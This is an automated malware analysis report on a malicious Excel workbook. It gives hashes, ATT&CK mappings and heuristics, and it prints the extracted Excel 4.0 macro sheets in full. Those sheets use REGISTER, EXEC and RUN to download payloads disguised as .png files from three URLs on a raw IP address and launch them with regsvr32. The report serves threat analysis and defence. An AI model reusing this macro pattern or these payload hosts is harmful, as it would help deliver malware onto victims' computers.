Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1119bd7b1b662ed8…

MALICIOUS

Office (OOXML)

660.7 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-13
MD5: 7ca4bf36a5e62fb591e62476151fb919 SHA-1: 5f1f898b8dc0b989be90e8eafb15bc3da517cc43 SHA-256: 1119bd7b1b662ed8ce6a68ade186bc0cd8db7cdc9c9ca73602c38fa2ba01eb8e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that utilize dangerous functions like REGISTER and EXEC. Specifically, the macro attempts to execute 'regsvr32 ..\Kro.fis', indicating it's designed to download and run a secondary payload from the URLs found in the document body. The use of these functions and the embedded URLs strongly suggest a downloader or droppper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, RUN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://104.168.166.222/images/darkmoonlite.png In document text (OOXML body / shared strings)
    • http://104.168.166.222/images/shortearthget.pngIn document text (OOXML body / shared strings)
    • http://104.168.166.222/images/lovemetertok.pngIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2083 bytes
SHA-256: 40ddb28feb0f81c4ec854fd8ba2b194a30a086ab4790b6dad4d44c8b8ae4ad9f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="G12:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="1"/><col min="6" max="6" width="27.5703125" style="1" customWidth="1"/><col min="7" max="7" width="36.7109375" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="1" t="e"><f>Jerutyg(0,Fff!Q19,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="1" t="e"><f>Jerutyg(0,Fff!Q20,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="7:7" x14ac:dyDescent="0.25"><c r="G15" s="1" t="e"><f>Jerutyg(0,Fff!Q21,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>RUN('Sheet '!G4)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1651 bytes
SHA-256: 24a9abf86273767cb6dc3ef5123101e29e32d244c5f84ae5cf491b44ffd6397a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7701A666-46DE-4D04-A152-1F7CD7124FD6}"><dimension ref="G14:G19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="16.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="16.42578125" style="1"/></cols><sheetData><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="1" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="15" spans="7:7" x14ac:dyDescent="0.25"><c r="G15" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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